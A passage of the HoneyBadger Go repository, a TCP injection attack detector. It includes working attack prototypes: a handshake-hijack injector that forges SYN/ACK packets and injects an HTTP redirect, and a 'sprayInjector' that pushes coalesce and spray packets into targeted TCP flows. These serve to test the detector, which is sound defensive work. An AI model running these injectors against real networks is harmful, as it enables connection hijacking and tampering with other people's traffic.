and dst port 9666 and tcp[tcpflags] == tcp-syn\", \"BPF filter for pcap\")\nvar snaplen = flag.Int(\"s\", 65536, \"SnapLen for pcap packet capture\")\nvar serviceIPstr = flag.String(\"d\", \"127.0.0.1\", \"target TCP flows from this IPv4 or IPv6 address\")\nvar servicePort = flag.Int(\"e\", 9666, \"target TCP flows from this port\")\n\nfunc main() {\n\tdefer util.Run()()\n\n\tvar eth layers.Ethernet\n\tvar dot1q layers.Dot1Q\n\tvar ip4 layers.IPv4\n\tvar ip6 layers.IPv6\n\tvar tcp layers.TCP\n\tvar payload gopacket.Payload\n\n\tr := rand.New(rand.NewSource(time.Now().UnixNano()))\n\thijackSeq := r.Uint32()\n\n\tdecoded := make([]gopacket.LayerType, 0, 4)\n\n\thandle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)\n\tif err != nil {\n\t\tlog.Fatal(\"error opening pcap handle: \", err)\n\t}\n\tipv6_mode := false\n\tserviceIP := net.ParseIP(*serviceIPstr)\n\tif serviceIP.To4() == nil {\n\t\tlog.Print(\"using ipv6 mode\")\n\t\tipv6_mode = true\n\t} else {\n\t\tlog.Print(\"using ipv4 mode\")\n\t}\n\n\tstreamInjector := attack.NewTCPStreamInjector(handle, ipv6_mode)\n\n\tif err := handle.SetBPFFilter(*filter); err != nil {\n\t\tlog.Fatal(\"error setting BPF filter: \", err)\n\t}\n\tparser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,\n\t\t&eth, &dot1q, &ip4, &ip6, &tcp, &payload)\n\n\tlog.Print(\"collecting packets...\\n\")\n\tfor {\n\t\tlog.Print(\"before ReadPacketData\")\n\t\tdata, ci, err := handle.ReadPacketData()\n\t\tlog.Print(\"after ReadPacketData\")\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error getting packet: %v %v\", err, ci)\n\t\t\tcontinue\n\t\t}\n\t\terr = parser.DecodeLayers(data, &decoded)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error decoding packet: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tlog.Printf(\"got packet of len %d\", len(data))\n\n\t\t// craft a response to the client\n\t\t// here we reuse the client's header\n\t\t// by swapping addrs and ports\n\n\t\t// swap ip addrs\n\t\tsrcip := ip4.SrcIP\n\t\tip4.SrcIP = ip4.DstIP\n\t\tip4.DstIP = srcip\n\n\t\t// swap ports\n\t\tsrcport := tcp.SrcPort\n\t\ttcp.SrcPort = tcp.DstPort\n\t\ttcp.DstPort = srcport\n\n\t\t// empty payload for SYN/ACK handshake completion\n\t\tstreamInjector.Payload = []byte(\"\")\n\t\tseq := tcp.Seq\n\t\ttcp.Seq = hijackSeq\n\t\ttcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))\n\t\ttcp.ACK = true\n\t\ttcp.SYN = true\n\t\ttcp.RST = false\n\n\t\tstreamInjector.SetEthernetLayer(&eth)\n\t\tif ipv6_mode {\n\t\t\tstreamInjector.SetIPv6Layer(ip6)\n\t\t} else {\n\t\t\tstreamInjector.SetIPv4Layer(ip4)\n\t\t}\n\t\tstreamInjector.SetTCPLayer(tcp)\n\t\tlog.Print(\"before panic be here now\")\n\t\terr = streamInjector.Write()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tlog.Print(\"SYN/ACK packet sent!\\n\")\n\n\t\t// send rediction payload\n\t\tredirect := []byte(\"HTTP/1.1 307 Temporary Redirect\\r\\nLocation: http://127.0.0.1/?\\r\\n\\r\\n\")\n\t\tstreamInjector.Payload = redirect\n\t\ttcp.PSH = true\n\t\ttcp.SYN = false\n\t\ttcp.ACK = true\n\t\ttcp.Ack = uint32(tcpassembly.Sequence(seq).Add(1))\n\t\ttcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(1))\n\n\t\tif ipv6_mode {\n\t\t\tstreamInjector.SetIPv6Layer(ip6)\n\t\t} else {\n\t\t\tstreamInjector.SetIPv4Layer(ip4)\n\t\t}\n\n\t\tstreamInjector.SetTCPLayer(tcp)\n\t\terr = streamInjector.Write()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tlog.Print(\"redirect packet sent!\\n\")\n\n\t\t// send FIN\n\t\tstreamInjector.Payload = []byte(\"\")\n\t\ttcp.FIN = true\n\t\ttcp.SYN = false\n\t\ttcp.ACK = false\n\t\ttcp.Seq = uint32(tcpassembly.Sequence(hijackSeq).Add(2))\n\n\t\tif ipv6_mode {\n\t\t\tstreamInjector.SetIPv6Layer(ip6)\n\t\t} else {\n\t\t\tstreamInjector.SetIPv4Layer(ip4)\n\t\t}\n\n\t\tstreamInjector.SetTCPLayer(tcp)\n\t\terr = streamInjector.Write()\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\tlog.Print(\"FIN packet sent!\\n\")\n\t\treturn\n\t}\n}\n"
  },
  {
    "path": "cmd/honeyBadger/main.go",
    "content": "/*\n *    HoneyBadger main command line tool\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"log\"\n\t\"time\"\n\n\t\"github.com/david415/HoneyBadger\"\n\t\"github.com/david415/HoneyBadger/logging\"\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\nfunc main() {\n\tvar (\n\t\tpcapfile                 = flag.String(\"pcapfile\", \"\", `pcap filename to read packets from rather than a wire interface.\nThis option is to be combined with a -daq= setting of either \"pcapgo\" OR \"libpcap\"!`)\n\t\tiface                    = flag.String(\"i\", \"eth0\", \"Interface to get packets from\")\n\t\tsnaplen                  = flag.Int(\"s\", 65536, \"SnapLen for pcap packet capture\")\n\t\tfilter                   = flag.String(\"f\", \"tcp\", \"BPF filter for pcap\")\n\t\tlogDir                   = flag.String(\"l\", \"\", \"incoming log dir used initially for pcap files if packet logging is enabled\")\n\t\twireTimeout              = flag.String(\"w\", \"3s\", \"timeout for reading packets off the wire\")\n\t\tmetadataAttackLog        = flag.Bool(\"metadata_attack_log\", false, \"if set to true then attack reports will only include metadata\")\n\t\tlogPackets               = flag.Bool(\"log_packets\", false, \"if set to true then log all packets for each tracked TCP connection\")\n\t\ttcpTimeout               = flag.Duration(\"tcp_idle_timeout\", time.Minute*10, \"tcp idle timeout duration\")\n\t\tmaxRingPackets           = flag.Int(\"max_ring_packets\", 40, \"Max packets per connection stream ring buffer\")\n\t\tdetectHijack             = flag.Bool(\"detect_hijack\", true, \"Detect handshake hijack attacks\")\n\t\tdetectInjection          = flag.Bool(\"detect_injection\", true, \"Detect injection attacks\")\n\t\tdetectCoalesceInjection  = flag.Bool(\"detect_coalesce_injection\", true, \"Detect coalesce injection attacks\")\n\t\tmaxConcurrentConnections = flag.Int(\"max_concurrent_connections\", 300, \"Maximum number of concurrent connection to track.\")\n\t\tbufferedPerConnection    = flag.Int(\"connection_max_buffer\", 100, `\nMax packets to buffer for a single connection before skipping over a gap in data\nand continuing to stream the connection after the buffer.  If zero or less, this\nis infinite.`)\n\t\tbufferedTotal = flag.Int(\"total_max_buffer\", 1000, `\nMax packets to buffer total before skipping over gaps in connections and\ncontinuing to stream connection data.  If zero or less, this is infinite`)\n\t\tmaxPcapLogSize      = flag.Int(\"max_pcap_log_size\", 10, \"maximum pcap size per rotation in megabytes\")\n\t\tmaxNumPcapRotations = flag.Int(\"max_pcap_rotations\", 100, \"maximum number of pcap rotations per connection\")\n\t\tarchiveDir          = flag.String(\"archive_dir\", \"\", \"archive directory for storing attack logs and related pcap files\")\n\t\tdaq                 = flag.String(\"daq\", \"libpcap\", `Data AcQuisition packet source: pcapgo, libpcap, AF_PACKET or BSD_BPF.\nBSD_BPF is BSD systems only.\nAF_PACKET is Linux only.\nlibpcap builds on Linux and FreeBSD and can read every kind of pcap format.\npcapgo builds on every platform but does not support pcap-ng format, only pcap v2.4.\n`)\n\t)\n\tflag.Parse()\n\n\tif *daq == \"pcapgo\" && *pcapfile == \"\" {\n\t\tlog.Fatal(\"must specify a -pcapfile option when using -daq=pcapgo\")\n\t}\n\n\tlog.SetFlags(log.LUTC | log.Ldate | log.Ltime )\n\tif *daq == \"\" {\n\t\tlog.Fatal(\"must specify a Data AcQuisition packet source`\")\n\t}\n\n\t// XXX TODO use the pure golang pcap file sniffing API; gopacket's pcapgo\n\tif *pcapfile != \"\" && (*daq != \"libpcap\" && *daq != \"pcapgo\") {\n\t\tlog.Fatal(\"only pcapgo and libpcap DAQs supports sniffing pcap files\")\n\t}\n\n\tif *archiveDir == \"\" || *logDir == \"\" {\n\t\tlog.Fatal(\"must specify both incoming log dir and archive log dir with option flags -l and -archive_dir\")\n\t}\n\n\twireDuration, err := time.ParseDuration(*wireTimeout)\n\tif err != nil {\n\t\tlog.Fatal(\"invalid wire timeout duration: \", *wireTimeout)\n\t}\n\n\tif *maxConcurrentConnections == 0 {\n\t\tlog.Fatal(\"maxConcurrentConnections must be specified\")\n\t}\n\n\tif *bufferedPerConnection == 0 || *bufferedTotal == 0 {\n\t\tlog.Fatal(\"connection_max_buffer and total_max_buffer must be set to a non-zero value\")\n\t}\n\n\tvar logger types.Logger\n\n\tif *metadataAttackLog {\n\t\tloggerInstance := logging.NewAttackMetadataJsonLogger(*archiveDir)\n\t\tloggerInstance.Start()\n\t\tdefer func() { loggerInstance.Stop() }()\n\t\tlogger = loggerInstance\n\t} else {\n\t\tloggerInstance := logging.NewAttackJsonLogger(*archiveDir)\n\t\tloggerInstance.Start()\n\t\tdefer func() { loggerInstance.Stop() }()\n\t\tlogger = loggerInstance\n\t}\n\n\tdispatcherOptions := HoneyBadger.DispatcherOptions{\n\t\tBufferedPerConnection:    *bufferedPerConnection,\n\t\tBufferedTotal:            *bufferedTotal,\n\t\tLogDir:                   *logDir,\n\t\tLogPackets:               *logPackets,\n\t\tMaxPcapLogRotations:      *maxNumPcapRotations,\n\t\tMaxPcapLogSize:           *maxPcapLogSize,\n\t\tTcpIdleTimeout:           *tcpTimeout,\n\t\tMaxRingPackets:           *maxRingPackets,\n\t\tLogger:                   logger,\n\t\tDetectHijack:             *detectHijack,\n\t\tDetectInjection:          *detectInjection,\n\t\tDetectCoalesceInjection:  *detectCoalesceInjection,\n\t\tMaxConcurrentConnections: *maxConcurrentConnections,\n\t}\n\n\tsnifferDriverOptions := types.SnifferDriverOptions{\n\t\tDAQ:          *daq,\n\t\tDevice:       *iface,\n\t\tFilename:     *pcapfile,\n\t\tWireDuration: wireDuration,\n\t\tSnaplen:      int32(*snaplen),\n\t\tFilter:       *filter,\n\t}\n\n\tconnectionFactory := &HoneyBadger.DefaultConnFactory{}\n\tvar packetLoggerFactory types.PacketLoggerFactory\n\tif *logPackets {\n\t\tpacketLoggerFactory = logging.NewPcapLoggerFactory(*logDir, *archiveDir, *maxNumPcapRotations, *maxPcapLogSize)\n\t} else {\n\t\tpacketLoggerFactory = nil\n\t}\n\n\tlog.Println(\"HoneyBadger: comprehensive TCP injection attack detection.\")\n\toptions := HoneyBadger.SupervisorOptions{\n\t\tSnifferDriverOptions: &snifferDriverOptions,\n\t\tDispatcherOptions:    dispatcherOptions,\n\t\tSnifferFactory:       HoneyBadger.NewSniffer,\n\t\tConnectionFactory:    connectionFactory,\n\t\tPacketLoggerFactory:  packetLoggerFactory,\n\t}\n\tsupervisor := HoneyBadger.NewSupervisor(options)\n\tsupervisor.Run()\n}\n"
  },
  {
    "path": "cmd/honeybadgerReportTool/main.go",
    "content": "/*\n *    HoneyBadger report deserialization tool\n *\n *    Copyright (C) 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"github.com/david415/HoneyBadger/logging\"\n)\n\nfunc lineDiff(a, b string) {\n\taLines := strings.Split(a, \"\\n\")\n\tbLines := strings.Split(b, \"\\n\")\n\n\tfmt.Print(\"Overlapping portion of reassembled TCP Stream:\\n\")\n\tfor i := 0; i < len(aLines); i++ {\n\t\tif aLines[i] == bLines[i] {\n\t\t\tfmt.Println(aLines[i])\n\t\t} else {\n\t\t\tfmt.Println(aLines[i])\n\t\t}\n\t}\n\n\tfmt.Print(\"Injection packet whose contents did not coalesce into the TCP Stream:\\n\")\n\tfor i := 0; i < len(aLines); i++ {\n\t\tif aLines[i] == bLines[i] {\n\t\t\tfmt.Println(bLines[i])\n\t\t} else {\n\t\t\tfmt.Println(bLines[i])\n\t\t}\n\t}\n\n}\n\nfunc expandReport(reportPath string) {\n\tfmt.Printf(\"attack report: %s\\n\", reportPath)\n\tfile, err := os.Open(reportPath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer file.Close()\n\treader := bufio.NewReader(file)\n\n\tvar line string\n\tline, err = reader.ReadString('\\n')\n\tfor err == nil {\n\t\tevent := logging.SerializedEvent{}\n\t\terr = json.Unmarshal([]byte(line), &event)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tfmt.Printf(\"Event Type: %s\\nFlow: %s\\nTime: %s\\n\", event.Type, event.Flow, event.Time.UTC())\n\t\tfmt.Printf(\"Packet Number: %d\\n\", event.PacketCount)\n\t\tfmt.Printf(\"HijackSeq: %d HijackAck: %d\\nStart: %d End: %d\\nBase Sequence: %d\\n\\n\", event.HijackSeq, event.HijackAck, event.Start, event.End, event.Base)\n\n\t\tvar payload []byte\n\t\tvar overlap []byte\n\n\t\toverlap, err = base64.StdEncoding.DecodeString(event.Winner)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tpayload, err = base64.StdEncoding.DecodeString(event.Loser)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tlineDiff(hex.Dump(overlap), hex.Dump(payload))\n\t\tline, err = reader.ReadString('\\n')\n\t}\n}\n\nfunc main() {\n\tvar ()\n\tflag.Parse()\n\treports := flag.Args()\n\n\tfor i := 0; i < len(reports); i++ {\n\t\texpandReport(reports[i])\n\t}\n}\n"
  },
  {
    "path": "cmd/honeybadgerReportTool/tcp_port_distribution.py",
    "content": "#!/usr/bin/python\n\nimport re\nimport sys\nimport os\nimport argparse\n\ndef count_distribution(filename, or_addr):\n    port_map = {}\n\n    count = 0\n    for line in open(filename):\n        count += 1\n        m = re.search(' ([0-9.]+):([0-9]+)-(.+):([0-9]+)', line)\n        if m is None:\n            print \"parse fail\"\n            sys.exit(-1)\n\n        addr1 = m.group(1)\n        addr2 = m.group(3)\n        if addr1 == or_addr:\n            dest_port = m.group(4)\n        else:\n            dest_port = m.group(2)\n        if port_map.has_key(int(dest_port)):\n            port_map[int(dest_port)] += 1\n        else:\n            port_map[int(dest_port)] = 1\n\n    return port_map\n\ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"or_addr\", help=\"origin ipv4 address\")\n    parser.add_argument(\"total\", help=\"total flows\")\n    parser.add_argument(\"attack\", help=\"attack flows\")\n    args = parser.parse_args()\n    total_map = count_distribution(args.total, args.or_addr)\n    attack_map = count_distribution(args.attack, args.or_addr)\n\n    #print attack_map\n    #print total_map\n\n    total_total = 0\n    for port in sorted(total_map.keys()):\n        total_total += int(total_map[int(port)])\n\n    for port in sorted(attack_map.keys(), reverse=True):\n        #if attack_map.has_key(port) and total_map.has_key(port):\n        frequency = float(attack_map[int(port)]) / float(total_map[int(port)])\n        total_freq = float(total_map[int(port)]) / float(total_total)\n        print \"port %s frequency %s attacks %s total %s (expected %s)\\n\" % (port, frequency, attack_map[int(port)], total_map[int(port)], total_freq)\n\n    for port in sorted(total_map.keys()):\n        if total_map[port] > 0:\n            print \"port %s total %d\" % (port, total_map[port])\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "cmd/honeybadgerReportToolColor/main.go",
    "content": "/*\n *    HoneyBadger report deserialization tool\n *\n *    Copyright (C) 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage main\n\nimport (\n\t\"bufio\"\n\t\"flag\"\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"github.com/david415/HoneyBadger/logging\"\n\t\"github.com/fatih/color\"\n)\n\nfunc colorLineDiff(a, b string) {\n\taLines := strings.Split(a, \"\\n\")\n\tbLines := strings.Split(b, \"\\n\")\n\n\tfmt.Print(\"Overlapping portion of reassembled TCP Stream:\\n\")\n\tfor i := 0; i < len(aLines); i++ {\n\t\tif aLines[i] == bLines[i] {\n\t\t\tcolor.Blue(aLines[i])\n\t\t} else {\n\t\t\tcolor.Green(aLines[i])\n\t\t}\n\t}\n\n\tfmt.Print(\"Injection packet whose contents did not coalesce into the TCP Stream:\\n\")\n\tfor i := 0; i < len(aLines); i++ {\n\t\tif aLines[i] == bLines[i] {\n\t\t\tcolor.Cyan(bLines[i])\n\t\t} else {\n\t\t\tcolor.Red(bLines[i])\n\t\t}\n\t}\n\n}\n\nfunc expandReport(reportPath string) {\n\tfmt.Printf(\"attack report: %s\\n\", reportPath)\n\tfile, err := os.Open(reportPath)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer file.Close()\n\treader := bufio.NewReader(file)\n\n\tvar line string\n\tline, err = reader.ReadString('\\n')\n\tfor err == nil {\n\t\tevent := logging.SerializedEvent{}\n\t\terr = json.Unmarshal([]byte(line), &event)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tfmt.Printf(\"Event Type: %s\\nFlow: %s\\nTime: %s\\n\", event.Type, event.Flow, event.Time.UTC())\n\t\tfmt.Printf(\"Packet Number: %d\\n\", event.PacketCount)\n\t\tfmt.Printf(\"HijackSeq: %d HijackAck: %d\\nStart: %d End: %d\\nBase Sequence: %d\\n\\n\", event.HijackSeq, event.HijackAck, event.Start, event.End, event.Base)\n\n\t\tvar payload []byte\n\t\tvar overlap []byte\n\n\t\toverlap, err = base64.StdEncoding.DecodeString(event.Winner)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tpayload, err = base64.StdEncoding.DecodeString(event.Loser)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tcolorLineDiff(hex.Dump(overlap), hex.Dump(payload))\n\t\tline, err = reader.ReadString('\\n')\n\t}\n}\n\nfunc main() {\n\tvar ()\n\tflag.Parse()\n\treports := flag.Args()\n\n\tfor i := 0; i < len(reports); i++ {\n\t\texpandReport(reports[i])\n\t}\n}\n"
  },
  {
    "path": "cmd/sprayInjector/main.go",
    "content": "/*\n *    rough but working prototype; probabalistic ordered coalesce TCP stream injector!\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"github.com/david415/HoneyBadger/attack\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/examples/util\"\n\t\"github.com/google/gopacket/layers\"\n\t\"github.com/google/gopacket/pcap\"\n\t\"log\"\n\t\"net\"\n)\n\nvar iface = flag.String(\"i\", \"lo\", \"Interface to get packets from\")\nvar filter = flag.String(\"f\", \"tcp\", \"BPF filter for pcap\")\nvar snaplen = flag.Int(\"s\", 65536, \"SnapLen for pcap packet capture\")\nvar serviceIPstr = flag.String(\"d\", \"127.0.0.1\", \"target TCP flows from this IP address\")\nvar servicePort = flag.Int(\"e\", 9666, \"target TCP flows from this port\")\nvar coalesce1 = flag.Bool(\"coalesce1\", true, \"perform the TCP coalesce1 injection\")\nvar coalesce2 = flag.Bool(\"coalesce2\", true, \"perform the TCP coalesce2 injection\")\nvar spray = flag.Bool(\"spray\", true, \"perform the TCP sloppy probalistic injection\")\n\nfunc main() {\n\tdefer util.Run()()\n\n\tvar eth layers.Ethernet\n\tvar dot1q layers.Dot1Q\n\tvar ip4 layers.IPv4\n\tvar ip6 layers.IPv6\n\tvar ip6extensions layers.IPv6ExtensionSkipper\n\tvar tcp layers.TCP\n\tvar payload gopacket.Payload\n\n\tdecoded := make([]gopacket.LayerType, 0, 4)\n\n\t// target/track all TCP flows from this TCP/IP service endpoint\n\ttrackedFlows := make(map[types.TcpIpFlow]int)\n\tserviceIP := net.ParseIP(*serviceIPstr)\n\n\tif serviceIP == nil {\n\t\tpanic(fmt.Sprintf(\"non-ip target: %s\\n\", *serviceIPstr))\n\t}\n\n\tipv4_mode := false\n\tipv6_mode := false\n\tif serviceIP.To4() != nil {\n\t\tlog.Print(\"using ipv4 mode\")\n\t\tipv4_mode = true\n\t} else if len(serviceIP) == 16 {\n\t\tlog.Print(\"using ipv6 mode\")\n\t\tipv6_mode = true\n\t} else {\n\t\tpanic(\"wtf\")\n\t}\n\n\tgap_payload := []byte(\"Many of these well-funded state/world-class adversaries are able to completely automate the compromising of computers using these TCP injection attacks against real people to violate their human rights.\")\n\tattack_payload := []byte(\"Privacy is necessary for an open society in the electronic age. Privacy is not secrecy. A private matter is something one doesn't want the whole world to know, but a secret matter is something one doesn't want anybody to know. Privacy is the power to selectively reveal oneself to the world.\")\n\n\thandle, err := pcap.OpenLive(*iface, int32(*snaplen), true, pcap.BlockForever)\n\tif err != nil {\n\t\tlog.Fatal(\"error opening pcap handle: \", err)\n\t}\n\n\tstreamInjector := attack.NewTCPStreamInjector(handle, ipv6_mode)\n\n\tif err := handle.SetBPFFilter(*filter); err != nil {\n\t\tlog.Fatal(\"error setting BPF filter: \", err)\n\t}\n\tparser := gopacket.NewDecodingLayerParser(layers.LayerTypeEthernet,\n\t\t&eth, &dot1q, &ip4, &ip6, &ip6extensions, &tcp, &payload)\n\tflow := &types.TcpIpFlow{}\n\n\tlog.Print(\"collecting packets...\\n\")\n\n\tfor {\n\t\tdata, ci, err := handle.ReadPacketData()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error getting packet: %v %v\", err, ci)\n\t\t\tcontinue\n\t\t}\n\t\terr = parser.DecodeLayers(data, &decoded)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error decoding packet: %v\", err)\n\t\t\tcontinue\n\t\t}\n\n\t\tfoundIPv6 := false\n\t\tfoundIPv4 := false\n\t\tfoundTcpLayer := false\n\t\tfor _, typ := range decoded {\n\t\t\tswitch typ {\n\t\t\tcase layers.LayerTypeIPv4:\n\t\t\t\tfoundIPv4 = true\n\t\t\tcase layers.LayerTypeIPv6:\n\t\t\t\tfoundIPv6 = true\n\t\t\tcase layers.LayerTypeTCP:\n\t\t\t\tif foundIPv4 || foundIPv6 {\n\t\t\t\t\tfoundTcpLayer = true\n\t\t\t\t}\n\t\t\t} // switch\n\t\t} // for\n\n\t\tif !foundTcpLayer {\n\t\t\tcontinue\n\t\t}\n\t\tif ipv4_mode && foundIPv6 {\n\t\t\tcontinue\n\t\t}\n\t\tif ipv6_mode && foundIPv4 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif ipv4_mode {\n\t\t\t//\t\t\tif tcp.SrcPort != layers.TCPPort(*servicePort) || !ip4.SrcIP.Equal(serviceIP.To4()) {\n\t\t\tif tcp.SrcPort != layers.TCPPort(*servicePort) || !ip4.SrcIP.Equal(serviceIP) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else if ipv6_mode {\n\t\t\tif tcp.SrcPort != layers.TCPPort(*servicePort) || !ip6.SrcIP.Equal(serviceIP) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t} else {\n\t\t\tpanic(\"wtf\")\n\t\t}\n\n\t\tif foundIPv4 == true {\n\t\t\tflow = types.NewTcpIp4FlowFromLayers(ip4, tcp)\n\t\t} else if foundIPv6 == true {\n\t\t\tf := types.NewTcpIpFlowFromFlows(ip6.NetworkFlow(), tcp.TransportFlow())\n\t\t\tflow = &f\n\t\t} else {\n\t\t\tpanic(\"wtf\")\n\t\t}\n\t\t_, isTracked := trackedFlows[*flow]\n\t\tif isTracked {\n\t\t\ttrackedFlows[*flow] += 1\n\t\t} else {\n\t\t\ttrackedFlows[*flow] = 1\n\t\t}\n\n\t\t// after some packets from a given flow then inject packets into the stream\n\t\tif trackedFlows[*flow] == 5 {\n\t\t\tstreamInjector.SetEthernetLayer(&eth)\n\t\t\tif ipv4_mode {\n\t\t\t\tstreamInjector.SetIPv4Layer(ip4)\n\t\t\t} else if ipv6_mode {\n\t\t\t\tstreamInjector.SetIPv6Layer(ip6)\n\t\t\t} else {\n\t\t\t\tpanic(\"wtf\")\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tstreamInjector.SetTCPLayer(tcp)\n\t\t\t// choose which injection attack to perform\n\t\t\tif *coalesce1 {\n\t\t\t\terr = streamInjector.SprayFutureAndFillGapPackets(tcp.Seq, gap_payload, attack_payload, *coalesce1)\n\t\t\t} else if *coalesce2 {\n\t\t\t\terr = streamInjector.SprayFutureAndFillGapPackets(tcp.Seq, gap_payload, attack_payload, *coalesce2)\n\t\t\t} else if *spray {\n\t\t\t\terr = streamInjector.SpraySequenceRangePackets(tcp.Seq, 20)\n\t\t\t}\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tlog.Print(\"tcp injection sent!\\n\")\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "cmd/testBpfSniffer/README",
    "content": "//  this was briefly useful for debuging the gopacket bsdbpf packet capture api\n//  as i was developing it\npackage main\n\nimport (\n\t\"fmt\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"github.com/google/gopacket/bsdbpf\"\n)\n\nfunc main() {\n\tvar err error\n\tvar ci gopacket.CaptureInfo\n\tvar frame []byte\n\tsniffer, err := bsdbpf.NewBPFSniffer(\"alc0\", nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfor {\n\t\tframe,ci,err = sniffer.ReadPacketData()\n\t        if err != nil {\n\t         panic(err)\n\t        }\n\t\tfmt.Printf(\"timeStamp %s\\n\", ci.Timestamp)\n\t\tpacket := gopacket.NewPacket(frame, layers.LayerTypeEthernet, gopacket.Default)\n\n\t\t// Get the TCP layer from this packet\n\t\tif tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil {\n\t\t\tfmt.Println(\"This is a TCP packet!\")\n\t\t\t// Get actual TCP data from this layer\n\t\t\ttcp, _ := tcpLayer.(*layers.TCP)\n\t\t\tfmt.Printf(\"From src port %d to dst port %d\\n\", tcp.SrcPort, tcp.DstPort)\n\t\t}\n\n\t\t// Iterate over all layers, printing out each layer type\n\t\tfor _, layer := range packet.Layers() {\n\t\t\tfmt.Println(\"PACKET LAYER:\", layer.LayerType())\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "connection.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage HoneyBadger\n\nimport (\n\t\"log\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\nconst (\n\t// Stop looking for handshake hijack after several\n\t// packets have traversed the connection after entering\n\t// into TCP_DATA_TRANSFER state\n\tFIRST_FEW_PACKETS = 12\n\n\t// TCP states\n\tTCP_UNKNOWN                = 0\n\tTCP_CONNECTION_REQUEST     = 1\n\tTCP_CONNECTION_ESTABLISHED = 